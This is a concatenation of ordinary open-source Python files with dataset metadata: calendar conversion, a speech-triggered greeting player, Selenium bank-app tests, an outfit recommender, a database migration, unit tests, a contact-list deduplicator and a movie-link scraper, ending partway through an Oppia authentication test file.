event.location = ical_event['location'].to_ical().decode('utf-8')\n if 'UID' in ical_event:\n event.uuid = ical_event['UID'].to_ical().decode('utf-8')\n if 'dtstart' in ical_event:\n str_start = ical_event['dtstart'].to_ical().decode('utf-8')\n if 'dtend' in ical_event:\n str_end = ical_event['dtend'].to_ical().decode('utf-8')\n\n if len(str_start) == 16:\n ptime = '%Y%m%dT%H%M%SZ'\n event.start = datetime.strptime(str_start, ptime)\n event.end = datetime.strptime(str_end, ptime)\n event.allday = False\n elif len(str_start) == 8:\n ptime = '%Y%m%d'\n event.start = datetime.strptime(str_start, ptime)\n event.end = datetime.strptime(str_end, ptime)\n event.allday = True\n else:\n raise (Exception('parse time error, length is not right' + str_start))\n try:\n event.save()\n except Exception as e:\n print(\"event save error:\" + str(e))\n return event\n\n\ndef colorsheet2ical(sheetid):\n sheet = Sheet.objects.get(pk=sheetid)\n events = Event.objects.filter(sheet_id=sheetid)\n ical = icalendar.Calendar()\n ical['PRODID'] = PROVIDID_NAME\n ical['X-WR-CALNAME'] = 'color ' + sheet.name\n ical['X-APPLE-LANGUAGE'] = 'zh'\n ical['X-APPLE-REGION'] = 'CN'\n for each in events:\n com = colorevent2icalevent(each)\n ical.add_component(com)\n return ical.to_ical().decode('utf-8')\n\n\ndef to_str(x):\n if x is None:\n return ''\n else:\n return str(x)\n\n\ndef colorevent2icalevent(event):\n ret = icalendar.Event()\n ret['summary'] = to_str(event.summary)\n ret['description'] = to_str(event.description)\n ret['status'] = to_str(event.status)\n ret['location'] = to_str(event.location)\n ret['UID'] = to_str(event.uuid)\n if event.allday:\n ptime = \"%Y%m%d\"\n start = event.start.strftime(ptime)\n end = event.end.strftime(ptime)\n else:\n ptime = \"%Y%m%dT%H%M%SZ\"\n start = event.start.strftime(ptime)\n end = event.end.strftime(ptime)\n ret['dtstart'] = start\n ret['dtend'] = end\n return ret\n","sub_path":"color_calendar/color/ics_tool.py","file_name":"ics_tool.py","file_ext":"py","file_size_in_byte":3438,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"383096482","text":"#-*- coding: utf-8 -*-\nfrom utils.utils import get_value_or_none, check_assign\nfrom expressive_nodes import ExpressiveSimultaneousNode\n\n\nclass ExpressiveRecipe(object):\n\n def __init__(self, recipe_dict, bits_dict, session, logger):\n super(ExpressiveRecipe, self).__init__()\n self.logger = logger\n self.name = recipe_dict[\"expressive_recipe\"]\n check_assign(self, \"trigger\", recipe_dict)\n check_assign(self, \"bit_name\", recipe_dict, \"bit\")\n # handle old-style simultaneous bit coding\n if type(self.bit_name) == list:\n new_bit = ExpressiveSimultaneousNode.make_from_arguments(\n self.name + \"Bit\", self.bit_name, session, logger)\n new_bit.get_children_bits(bits_dict)\n bits_dict[new_bit.name] = new_bit\n self.bit_name = new_bit.name\n self.logger.assert_warning(\n self.bit_name in bits_dict,\n \"ExpressiveBit \\\"\" + self.bit_name + \"\\\" wasn't specified\")\n self.bit = bits_dict[self.bit_name]\n self.logger.info(self.name + \" - bit:\" + str(self.bit))\n self.stop = get_value_or_none(\"stop\", recipe_dict)\n if self.stop is None:\n self.stop = []\n elif type(self.stop) != list:\n self.stop = [self.stop]\n\n def check_consistency(self):\n \"\"\" check consistency of the recipe\n \"\"\"\n self.logger.info(\"Check consistency for: \" + self.bit_name)\n if self.bit.get_is_continuous():\n self.logger.assert_warning(\n self.stop != [],\n \"No stop condition specified for ExpressiveRecipe \\\"\"\n + self.name +\n \"\\\", though ExpressiveBit \\\"\" + self.bit.name +\n \"\\\" was flagged as \\\"Continuous\\\"\")\n","sub_path":"signs-and-feedback/lib/python2.7/site-packages/signs_and_feedback/expressive_recipe.py","file_name":"expressive_recipe.py","file_ext":"py","file_size_in_byte":1786,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"476045244","text":"# -*- coding: utf-8 -*-\nimport socket\nimport subprocess\nimport random\n\n# WAV再生コマンドフォーマット\ncmd_fmt = 'aplay -D plughw:3,0 ~/voice/enogu_voice/{}'\n\n# ボイスリスト\nvlist_oha = ['anzu_oha.wav', 'tamaki_oha.wav', 'haru_oha.wav', 'nao_oha.wav']\nvlist_oya = ['anzu_oya.wav', 'tamaki_oya.wav', 'haru_oya.wav', 'nao_oya.wav']\nvlist_itt = ['anzu_itte.wav', 'tamaki_itte.wav', 'haru_itte.wav', 'nao_itte.wav']\nvlist_oka = ['anzu_oka.wav', 'tamaki_oka.wav', 'haru_oka.wav', 'nao_oka.wav']\n\n# Julius接続\nhost = 'localhost'\nport = 10500\nsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nsock.connect((host, port))\n\ndef set_enable_mic(enable):\n capture = '62' if enable else '0'\n subprocess.call('amixer sset Mic {} -c 2'.format(capture), shell=True)\n\ndef play_voice(name):\n set_enable_mic(False)\n subprocess.call(cmd_fmt.format(name), shell=True)\n set_enable_mic(True)\n\ndef speak_response(word):\n print(\"WORD:\" + word)\n if word == 'おはよう[/s]':\n print(\"=>おはよう\")\n play_voice(random.choice(vlist_oha))\n\n if word == 'おやすみ[/s]':\n print(\"=>おやすみ\")\n play_voice(random.choice(vlist_oya))\n\n if word == 'いってきます[/s]':\n print(\"=>いってらっしゃい\")\n play_voice(random.choice(vlist_itt))\n\n if word == 'ただいま[/s]':\n print(\"=>おかえり\")\n play_voice(random.choice(vlist_oka))\n\nres = ''\nwhile True:\n # 音声認識の区切り[\\n.]まで受信\n while (res.find('\\n.') == -1):\n res += sock.recv(1024).decode('utf-8')\n\n # 認識文字列を抽出\n word = ''\n for line in res.split('\\n'):\n index = line.find('WORD=')\n if index != -1:\n line = line[index+6:line.find('\"', index+6)]\n if line != '[s]':\n word = word + line\n\n # 認識文字列にキーワードがあれば対応\n speak_response(word)\n\n res = ''\n","sub_path":"res_greet.py","file_name":"res_greet.py","file_ext":"py","file_size_in_byte":1949,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"40384392","text":"import os\nfrom enum import Enum\nfrom pathlib import Path\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support.ui import Select\nimport unittest\nfrom selenium.webdriver.support.wait import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom Common_Package.BankApp_CommonFunctons import BankAPP_CommonFunctions\nfrom utility import Excelutility\n\n\ndef store_accid_custid(acc_id,cust_id):\n print(\"\\nWriting cust_id and acc_id Information : \")\n\n last_added_custid_file_path = \"E:\\\\Vidyashri\\\\PythonSeleniumProjects\\\\Guru99BankProj\\\\Common_Package\"\n last_added_custaccid_file_name = \"LastAdded_AccountID_CustID.txt\"\n\n if not os.path.exists(last_added_custid_file_path):\n os.mkdir(last_added_custid_file_path)\n\n print(\"cust_id file Name : \", last_added_custaccid_file_name)\n\n custaccid_file_absolute_path = Path(last_added_custid_file_path) / last_added_custaccid_file_name\n print(\"cust_id file Absolute Path : \", custaccid_file_absolute_path)\n\n print(\"Writing to cust_id,acc_id into File\")\n file = open(custaccid_file_absolute_path, \"w+\")\n file.write(\"Custmer Id : \" + cust_id + '\\n')\n file.write(\"Account Id : \" + acc_id)\n file.close()\n\n\nclass account(Enum):\n Savings = 0\n Current = 1\n\n\ndef get_accountype_index(account_type):\n index = None\n if account_type == \"Savings\":\n savings = account.Savings #self.account.Savings\n index = savings.value\n elif account_type == \"Current\":\n current = account.Current #self.account.Current\n index = current.value\n else:\n print(\"Wrong ACcount Type Entered!!\")\n return index\n\n\nclass TC_AddAccountTest(unittest.TestCase):\n\n Path = BankAPP_CommonFunctions.excelPath\n Sheet_Name = BankAPP_CommonFunctions.sheet_AccountDetails\n Sheet_Verify = BankAPP_CommonFunctions.sheet_CustomerID\n\n # @classmethod\n # def setUpClass(cls):\n # cls.driver = webdriver.Chrome(executable_path=\"E:\\\\chromedriver_win32\\\\chromedriver.exe\")\n # cls.driver.maximize_window()\n # BankAPP_CommonFunctions.login_bankApp(cls.driver, BankAPP_CommonFunctions.username,\n # BankAPP_CommonFunctions.Password)\n # BankAPP_CommonFunctions.close_popup(cls.driver)\n\n @staticmethod\n def add_account_details(driver,cust_id,account_type,initial_amt):\n driver.find_element_by_xpath(\"//input[@name='cusid']\").send_keys(cust_id)\n\n select = Select(driver.find_element_by_name(\"selaccount\"))\n account = get_accountype_index(account_type)\n select.select_by_index(account)\n # select.select_by_index(0)\n\n driver.find_element_by_name(\"inideposit\").send_keys(initial_amt)\n\n # Submit button\n driver.find_element_by_name(\"button2\").click()\n\n wait = WebDriverWait(driver, 55)\n wait.until(EC.visibility_of_element_located((By.XPATH, \"//*[@id='account']/tbody/tr[1]/td/p\")))\n\n return account_type,initial_amt\n\n @staticmethod\n def validate_account_info(driver,account_type,initial_amount):\n if \"Account Generated Successfully!!!\" in driver.find_element_by_xpath(\"//*[@id='account']/tbody/tr[1]/td/p\").text:\n print(\"Added Account successfully\")\n\n row = Excelutility.get_row_count(TC_AddAccountTest.Path, TC_AddAccountTest.Sheet_Name)\n acc_id = driver.find_element_by_xpath(\"//*[@id='account']/tbody/tr[4]/td[2]\").text\n Excelutility.write_data(TC_AddAccountTest.Path,TC_AddAccountTest.Sheet_Name,row+1,2,acc_id)\n\n cust_id = driver.find_element_by_xpath(\"//*[@id='account']/tbody/tr[5]/td[2]\").text\n Excelutility.write_data(TC_AddAccountTest.Path,TC_AddAccountTest.Sheet_Name,row+1,1,cust_id)\n store_accid_custid(acc_id,cust_id)\n\n col_inCustID,row_inCustID =Excelutility.search_value_in_column(TC_AddAccountTest.Path,TC_AddAccountTest.Sheet_Verify,cust_id,\"A\")\n cust_name = driver.find_element_by_xpath(\"//*[@id ='account']/tbody/tr[6]/td[2]\").text\n cust_nameFromXl = Excelutility.read_data(TC_AddAccountTest.Path, TC_AddAccountTest.Sheet_Verify, row_inCustID, 2)\n if cust_name == cust_nameFromXl:\n print(cust_name+\" is matching Of id \"+ cust_id + \" from \" +TC_AddAccountTest.Sheet_Verify)\n else:\n print(\"Customer name is not matching\")\n TC_AddAccountTest.assertTrue(cust_name == cust_nameFromXl,cust_name + \" is matching with id \" + cust_id)\n\n cust_mail = driver.find_element_by_xpath(\"//*[@id ='account']/tbody/tr[7]/td[2]\").text\n cust_mailFromXl = Excelutility.read_data(TC_AddAccountTest.Path, TC_AddAccountTest.Sheet_Verify, row_inCustID, 10)\n if cust_mail == cust_mailFromXl:\n print(cust_mail+\" is matching of id \"+ cust_id + \" from \" + TC_AddAccountTest.Sheet_Verify)\n else:\n print(\"Customer mail is not matching\")\n TC_AddAccountTest.assertTrue(cust_mail == cust_mailFromXl,cust_mail + \" is matching with id \" + cust_id)\n\n acc_type = driver.find_element_by_xpath(\"//*[@id ='account']/tbody/tr[8]/td[2]\").text\n if acc_type == account_type:\n Excelutility.write_data(TC_AddAccountTest.Path, TC_AddAccountTest.Sheet_Name, row + 1, 3, acc_type)\n else:\n print(\"Account type is not matching\")\n\n date_of_opening = driver.find_element_by_xpath(\"//*[@id ='account']/tbody/tr[9]/td[2]\").text\n Excelutility.write_data(TC_AddAccountTest.Path, TC_AddAccountTest.Sheet_Name, row + 1, 4, date_of_opening)\n\n cur_amount = driver.find_element_by_xpath(\"//*[@id='account']/tbody/tr[10]/td[2]\").text\n #print(cur_amount)\n #print(initial_amount)\n if int(cur_amount) == int(initial_amount):\n print(\"Initial amount added \" + cur_amount)\n Excelutility.write_data(TC_AddAccountTest.Path, TC_AddAccountTest.Sheet_Name, row + 1, 5, cur_amount)\n else:\n print(\"Initial amount is not matching\")\n\n print(\"Validation is done for added account \" + acc_id + \" of type \" + acc_type + \" Successfully!!!\")\n\n '''def test_addition_new_account(self):\n try:\n BankAPP_CommonFunctions.click_menu_by_perform_mouse_action(self.driver, \"New Acc\", \"new account\")\n cust_id = BankAPP_CommonFunctions.get_cust_id_frm_repo(\"LastAdded_CustID.txt\",0)\n account_type,initial_amt = self.add_account_details(self.driver,cust_id,\"Current\",3000)\n print(account_type,initial_amt )\n self.validate_account_info(self.driver,account_type,initial_amt)\n\n # click continue\n self.driver.find_element_by_xpath(\"//*[@id='account']/tbody/tr[11]/td/a\").click()\n self.driver.implicitly_wait(1)\n\n except Exception as e:\n print(\"Exception from AddAccount : \", type(e).__name__)\n print('Error on line {}'.format(sys.exc_info()[-1].tb_lineno), type(e).__name__, e)'''\n\n # @classmethod\n # def tearDownClass(cls):\n # BankAPP_CommonFunctions.close_popup(cls.driver)\n # BankAPP_CommonFunctions.logout(cls.driver)\n # cls.driver.implicitly_wait(1)\n # cls.driver.close()\n\n\n# if __name__ == \"__main__\":\n# unittest.main()","sub_path":"Functionality_Account/TC_AddAccount.py","file_name":"TC_AddAccount.py","file_ext":"py","file_size_in_byte":7359,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"174363493","text":"import os\nimport db\nimport ig\nimport style\nimport cv2\nimport img_util\nimport weather\nimport numpy as np\n\n\ndef getOutfit():\n weather_data = weather.getWeather()\n print(weather_data)\n\n clothing_encode = []\n clothing_weather = []\n clothing_type = []\n clothing_db = db.getClothingDatabase()\n for _, entry in clothing_db.items():\n img = cv2.imread(entry['path'])\n enc = style.getStyleEncodeFromImg(img)\n clothing_encode.append(enc)\n\n if 'pants' in entry['tags']:\n clothing_type.append('lower')\n elif 'shirt' in entry['tags']:\n clothing_type.append('upper')\n else:\n clothing_type.append('-----')\n\n if 'pants' in entry['tags']:\n clothing_weather.append('cold')\n elif 'shorts' in entry['tags']:\n clothing_weather.append('hot')\n else:\n clothing_weather.append('warm')\n\n ig_clothing_encode = []\n ig_clothing_type = []\n follow = db.getIgFollowing()\n for user in follow:\n img_files = os.listdir('ig_img/'+user+'/')\n for img_file in img_files:\n path = 'ig_img/'+user+'/'+img_file\n img = cv2.imread(path)\n img_upper, img_lower = img_util.split_clothing(img)\n enc = style.getStyleEncodeFromImg(img_upper)\n ig_clothing_encode.append(enc)\n ig_clothing_type.append('upper')\n enc = style.getStyleEncodeFromImg(img_lower)\n ig_clothing_encode.append(enc)\n ig_clothing_type.append('lower')\n \n print(clothing_encode)\n print(clothing_type)\n print(ig_clothing_encode)\n print(ig_clothing_type)\n \n\ndef calculateSimilarity(enc1, enc2):\n return np.abs(enc1 - enc2)\n\n\ndef calculateScore(weather_data, outfit1, outfit2):\n score = 1.0\n\n enc1_upper = outfit1[0]['enc']\n enc1_lower = outfit1[1]['enc']\n enc2_upper = outfit2[0]['enc']\n enc2_lower = outfit2[1]['enc']\n\n score = score * calculateSimilarity(enc1_upper, enc2_upper)\n score = score * calculateSimilarity(enc1_lower, enc2_lower)\n\n type1_upper = outfit1[0]['weather']\n type1_lower = outfit1[1]['weather']\n\n if weather_data['temp'] < 20: # cold\n score = score if type1_upper == 'cold' else score * 0.9\n score = score if type1_lower == 'cold' else score * 0.9\n elif weather_data['temp'] > 30: # hot\n score = score if type1_upper == 'hot' else score * 0.9\n score = score if type1_lower == 'hot' else score * 0.9\n\n return score\n","sub_path":"src/outfit.py","file_name":"outfit.py","file_ext":"py","file_size_in_byte":2299,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"534455555","text":"# Copyright 2013 Hewlett-Packard Development Company, L.P.\n#\n# Author: Kiall Mac Innes \n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\nimport logging\n\nfrom sqlalchemy import MetaData, Table, Column, String\nfrom sqlalchemy.sql import update\nfrom migrate.changeset.constraint import UniqueConstraint\n\n\nLOG = logging.getLogger(__name__)\nmeta = MetaData()\n\n\ndef upgrade(migrate_engine):\n meta.bind = migrate_engine\n dialect = migrate_engine.url.get_dialect().name\n\n domains_table = Table('domains', meta, autoload=True)\n\n if dialect.startswith('sqlite'):\n # SQLite can't drop a constraint. Yay. This will be fun..\n\n # Create a new name column without the unique index\n name_tmp_column = Column('name_tmp', String(255))\n name_tmp_column.create(domains_table)\n\n # Copy the data over.\n query = update(domains_table).values(name_tmp=domains_table.c.name)\n migrate_engine.execute(query)\n\n # Delete the name column\n domains_table.c.name.drop()\n\n # Rename the name_tmp column to name\n domains_table.c.name_tmp.alter(name='name')\n elif dialect.startswith('postgresql'):\n constraint = UniqueConstraint('name', name='domains_name_key',\n table=domains_table)\n constraint.drop()\n else:\n constraint = UniqueConstraint('name', name='name', table=domains_table)\n constraint.drop()\n\n\ndef downgrade(migrate_engine):\n meta.bind = migrate_engine\n\n domains_table = Table('domains', meta, autoload=True)\n\n constraint = UniqueConstraint('name', name='name', table=domains_table)\n constraint.create()\n","sub_path":"designate/storage/impl_sqlalchemy/migrate_repo/versions/017_drop_unique_domain_name_index.py","file_name":"017_drop_unique_domain_name_index.py","file_ext":"py","file_size_in_byte":2160,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"15537817","text":"class Solution(object):\n def permute(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: List[List[int]]\n \"\"\"\n result = []\n lst = []\n self.helper(lst, result, nums)\n return result\n def helper(self, lst, res, nums):\n if len(lst) == len(nums):\n res.append(lst[:])\n return\n for i in range(len(nums)):\n if nums[i] not in lst:\n lst.append(nums[i])\n self.helper(lst, res, nums)\n lst.pop()\n\n","sub_path":"Permutations/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":536,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"3221672","text":"##############################################################################\n# This creates a JSON file to be read by PlatformIO to group these libraries.\n# Created By: Sara Damiano (sdamiano@stroudcenter.org)\n# Created On: 2/15/2017\n##############################################################################\n\nimport json\n\nlibrary = {\"name\": \"EnviroDIYMayfly\",\n \"description\": \"A collection of libraries to support the EnviroDIY Mayfly\",\n \"keywords\": \"Mayfly, EnviroDIY, Sensors, DS-3231, Logger, SDI-12\",\n \"repository\": {\"type\": \"git\", \"url\": \"https://github.com/EnviroDIY/Libraries.git\", \"branch\": \"platformio\"},\n \"export\": {\"exclude\": [\"*/.gitattributes\", \"*/.gitignore\", \"*/.travis.yml\",\n \"*/.gitmodules\", \"*id_rsa.enc\", \"*/platformio.ini\",\n \"*/*.sh\", \"*/make-zip.sh\", \"*/Doxyfile\", \"*/.git/*\",\n \"*/.github/*\"]\n }\n }\n\ndependencies = []\nwith open('.gitmodules','r') as submods:\n for num, line in enumerate(submods, 1):\n if line.split()[0] == \"path\":\n dep = {'name': line.split()[2]}\n if line.split()[0] == \"url\":\n url = line.split()[2]\n if not url.endswith(\".git\"):\n url += \".git\"\n dep['version'] = url\n if line.split()[0] == \"branch\":\n url += \"#\" + line.split()[2]\n dep['version'] = url\n if (line.split()[0] == \"[submodule\") and num != 1:\n dependencies.append(dep)\n else:\n dependencies.append(dep)\nsubmods.close()\n\nlibrary['dependencies'] = dependencies\n\njsonfile = open('library.json', 'w')\njson.dump(library, jsonfile, indent=1, separators=(',', ': '))\njsonfile.close()\n","sub_path":"make_libjson.py","file_name":"make_libjson.py","file_ext":"py","file_size_in_byte":1784,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"162414325","text":"\"\"\"Test filter methods\"\"\"\n# pylint: disable=protected-access\nfrom unittest import TestCase\n\nfrom napps.kytos.pathfinder.utils import lazy_filter\nfrom napps.kytos.pathfinder.graph import KytosGraph\n\n\nclass TestLazyFilter(TestCase):\n \"\"\"Tests for the Main class.\"\"\"\n\n def setUp(self):\n \"\"\"Execute steps before each test.\"\"\"\n self.graph = KytosGraph()\n\n def test_type_error(self):\n \"\"\"Test filtering with invalid minimum type.\"\"\"\n items = [8, 9, 10, 11, 12]\n minimum = \"wrong_type\"\n with self.assertRaises(TypeError):\n filtered = lazy_filter(int, lambda x: (lambda y: y >= x))\n list(filtered(minimum, items))\n\n def test_filter_functions_in(self):\n \"\"\"Test _filter_function that are expected to use the filter_in\"\"\" \"\"\n\n attr = \"ownership\"\n nx_edge_values = [\n (None, None, {attr: {\"blue\": {}, \"red\": {}}}),\n (None, None, {attr: {\"green\": {}}}),\n ]\n\n target = \"blue\"\n ownership_filter = self.graph._filter_functions[attr]\n filtered = list(ownership_filter(target, nx_edge_values))\n assert filtered\n\n for item in filtered:\n assert target in item[2][attr]\n\n def test_filter_functions_ge(self):\n \"\"\"Test _filter_function that are expected to use the filter_ge.\"\"\"\n\n for attr in (\"bandwidth\", \"reliability\"):\n nx_edge_values = [\n (None, None, {attr: 20}),\n (None, None, {attr: 10}),\n ]\n\n target = 15\n func = self.graph._filter_functions[attr]\n filtered = list(func(target, nx_edge_values))\n assert filtered\n\n for item in filtered:\n assert item[2][attr] >= target\n\n target = 21\n filter_func = self.graph._filter_functions[attr]\n filtered = list(filter_func(target, nx_edge_values))\n assert not filtered\n\n def test_filter_functions_le(self):\n \"\"\"Test _filter_function that are expected to use the filter_le.\"\"\"\n\n for attr in (\"priority\", \"delay\", \"utilization\"):\n nx_edge_values = [\n (None, None, {attr: 20}),\n (None, None, {attr: 10}),\n ]\n\n target = 15\n func = self.graph._filter_functions[attr]\n filtered = list(func(target, nx_edge_values))\n assert filtered\n\n for item in filtered:\n assert item[2][attr] <= target\n\n target = 9\n filter_func = self.graph._filter_functions[attr]\n filtered = list(filter_func(target, nx_edge_values))\n assert not filtered\n","sub_path":"tests/unit/test_filter.py","file_name":"test_filter.py","file_ext":"py","file_size_in_byte":2683,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"452390930","text":"import numpy as np\nimport pandas as pd\n# import sys\nfrom contact_list_cfg import cfg\nfrom contact_list_reader import ContactList\n\n\n\nclass ContactListCleaner(ContactList):\n clean = None\n resolved_duplicates = None\n difference_rules = None\n\n def __init__(self, path='db.xlsx', sheet_name='דאטאבייס', cfg=cfg, verbose=True):\n super(ContactListCleaner, self).__init__(path, sheet_name, cfg, verbose)\n self.clean_db()\n\n def choose_earliest(self, values):\n try:\n earliest_value = self.get_earliest_value(values)\n self.print_msg('success', [earliest_value])\n return earliest_value\n except Exception as e:\n self.print_msg('failure', e)\n\n def choose_latest(self, values):\n try:\n latest_value = self.get_latest_value(values)\n self.print_msg('success', [latest_value])\n return latest_value\n except Exception as e:\n self.print_msg('failure', e)\n\n def choose_name(self, names):\n if len(names) > 2:\n if names.value_counts()[0] > 1:\n return names.value_counts().index[0]\n return self.choose_value(names)\n\n def choose_value(self, values):\n print('Please choose {}:'.format(values.name))\n possible_values = values.dropna().unique()\n for i, value in enumerate(possible_values):\n print('{}. {}'.format(i, value))\n chosen_index = False\n while chosen_index is False:\n try:\n chosen_index = int(input('Please enter the number of the chosen value: '))\n except ValueError:\n chosen_index = False\n if chosen_index == 999:\n return False\n return possible_values[chosen_index]\n\n def get_fix_function(self, column_name):\n func = self.difference_rules[[key for key in self.difference_rules.keys() if column_name in key][0]]\n if type(func) is str:\n func = getattr(self, func)\n return func\n\n def fix_differences(self, values):\n column_name = values.name\n self.print_msg('start', column_name)\n try:\n fixed_value = self.get_fix_function(column_name)(values)\n self.print_msg('success', [column_name, fixed_value])\n if fixed_value:\n return fixed_value\n return False\n except Exception as e:\n self.print_msg('failure', [column_name, e])\n\n def merge_rows(self, rows):\n self.print_msg('start', len(rows))\n merged_row = pd.DataFrame(columns=list(rows))\n for col in rows.columns:\n possible_values = rows[col].dropna().unique()\n n_unique = len(possible_values)\n if n_unique is 0:\n merged_row[col] = [np.nan]\n self.print_msg('empty', col)\n elif n_unique is 1:\n merged_row[col] = [possible_values[0]]\n self.print_msg('single', [col, possible_values[0]])\n elif n_unique > 1:\n resolved_value = self.fix_differences(rows[col])\n merged_row[col] = [resolved_value]\n self.print_msg('merged', [col, resolved_value])\n self.print_msg('success', len(rows))\n self.pprint_rows(merged_row)\n return merged_row\n\n def resolve_row(self, row):\n possible_duplicates = self.get_possible_duplicates(row)\n return self.merge_rows(possible_duplicates)\n\n def already_in_resolved(self, row):\n ''' Checks if any of the unique columns already have the corresponding row values '''\n tf = any([row[col] in self.resolved_duplicates[col].values for col in self.unique_columns])\n self.print_msg(tf)\n return tf\n\n def add_row_to_clean(self, i):\n row = self.get_row_by_index(i)\n if not self.already_in_resolved(row):\n unique_values = self.get_unique_column_values_by_index(i, return_as=list)\n self.print_msg('resolving', [unique_values])\n self.resolved_duplicates = self.resolved_duplicates.append(self.resolve_row(row))\n\n def resolve_duplicates(self):\n n_to_resolve = len(self.rows_with_nonunique_values)\n self.print_msg('start', n_to_resolve)\n try:\n self.resolved_duplicates = pd.DataFrame(columns=list(self.db))\n for i in self.rows_with_nonunique_values.index:\n self.add_row_to_clean(i)\n self.print_msg('success', n_to_resolve)\n except Exception as e:\n self.print_msg('failure', e)\n\n def clean_db(self):\n self.clean = self.valid_rows.copy()\n self.resolve_duplicates()\n self.clean = self.clean.append(self.resolved_duplicates)\n","sub_path":"contact_list_cleaner.py","file_name":"contact_list_cleaner.py","file_ext":"py","file_size_in_byte":4725,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"511297176","text":"from PyQt5 import QtWidgets\n\nArea_of_occurrence = ['Jama brzuszna',\n 'Górne drogi oddechowe',\n 'Inne ogólne umiejscowienia',\n 'Mózg']\n\nclass List(QtWidgets.QDialog): \n def __init__(self,\n vert_model_widget = None):\n super().__init__()\n self.vert_model_widget = vert_model_widget\n self.list_define()\n\n def list_define(self,items = len(Area_of_occurrence)): \n self.listing = QtWidgets.QListWidget(self.vert_model_widget,\n selectionMode=QtWidgets.QAbstractItemView.MultiSelection)\n sorting_enabled = self.listing.isSortingEnabled() \n self.listing.setSortingEnabled(False)\n for i,occurrence in zip(range(items),Area_of_occurrence): \n item = QtWidgets.QListWidgetItem()\n item = self.listing.addItem(item)\n item = self.listing.item(i)\n item.setText(occurrence)\n self.listing.setSortingEnabled(sorting_enabled)","sub_path":"GUI/views/widgets/List_dialog.py","file_name":"List_dialog.py","file_ext":"py","file_size_in_byte":1045,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"323509128","text":"import xlwt\nimport requests\nfrom bs4 import BeautifulSoup\n\n\nfile = xlwt.Workbook()\ntable = file.add_sheet('first list')\ntable.write(0,0,'电影名')\ntable.write(0,1,'迅雷链接')\n\n\ndef add_xls(name,title):\n print('写入xls中...... %s'%name)\n table.write(i,0,name)\n table.write(i,1,title)\n\ni = 1\nlink = 'http://www.dytt8.net/html/gndy/oumei/list_7_{}.html'\nfor n in range(1,190):\n l = link.format(n)\n res = requests.get(l)\n res.encoding = 'gb2312'\n soup = BeautifulSoup(res.text,'html.parser')\n\n\n for title in soup.select('.co_content8 table a'):\n name = title.text \n \n if len(title['href']) == 35:\n \n \n url = 'http://www.dytt8.net' + title['href']\n\n res = requests.get(url) #解析单个电影网址\n res.encoding = 'gb2312'\n soup = BeautifulSoup(res.text,'html.parser')\n\n title = soup.select('.co_content8 td a')\n if len(title) !=0 : #获取迅雷链接\n title = title[0].text\n \n \n add_xls(name,title)\n i = i+1\n if i >=300 : #输入你需要的数量\n file.save(r'C:\\Users\\Administrator\\Desktop\\电影天堂怕取\\text2.xls') #修改你的保存地址\n print('写入完成!')\n exit()\n\n\n\n\n\n\n","sub_path":"爬虫/xlwt text.py","file_name":"xlwt text.py","file_ext":"py","file_size_in_byte":1458,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"394838357","text":"# coding: utf-8\n#\n# Copyright 2020 The Oppia Authors. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS-IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n\"\"\"Tests for the GAE Authentication platform services.\"\"\"\n\nfrom __future__ import absolute_import # pylint: disable=import-only-modules\nfrom __future__ import unicode_literals # pylint: disable=import-only-modules\n\nimport datetime\n\nfrom core.domain import auth_domain\nfrom core.platform import models\nfrom core.platform.auth import gae_auth_services\nfrom core.tests import test_utils\n\nimport webapp2\n\nauth_models, = models.Registry.import_models([models.NAMES.auth])\n\n\nclass GaeAuthServicesTests(test_utils.AppEngineTestBase):\n\n def test_establish_auth_session_does_nothing(self):\n request = webapp2.Request.blank('/')\n response = webapp2.Response()\n # Does not raise.\n gae_auth_services.establish_auth_session(request, response)\n\n def test_destroy_auth_session_deletes_cookies(self):\n response = webapp2.Response()\n\n gae_auth_services.destroy_auth_session(response)\n\n expiry_date = response.headers['Set-Cookie'].rsplit('=', 1)\n self.assertTrue(\n datetime.datetime.utcnow() > datetime.datetime.strptime(\n expiry_date[1], '%a, %d %b %Y %H:%M:%S GMT'))\n\n def test_get_auth_claims_from_request_returns_none_if_not_logged_in(self):\n request = webapp2.Request.blank('/')\n\n self.assertIsNone(\n gae_auth_services.get_auth_claims_from_request(request))\n\n def test_get_auth_claims_from_request_returns_claims_about_logged_in_user(\n self):\n request = webapp2.Request.blank('/')\n email = 'user@test.com'\n\n # Google App Engine uses environment variables to emulate user sessions.\n 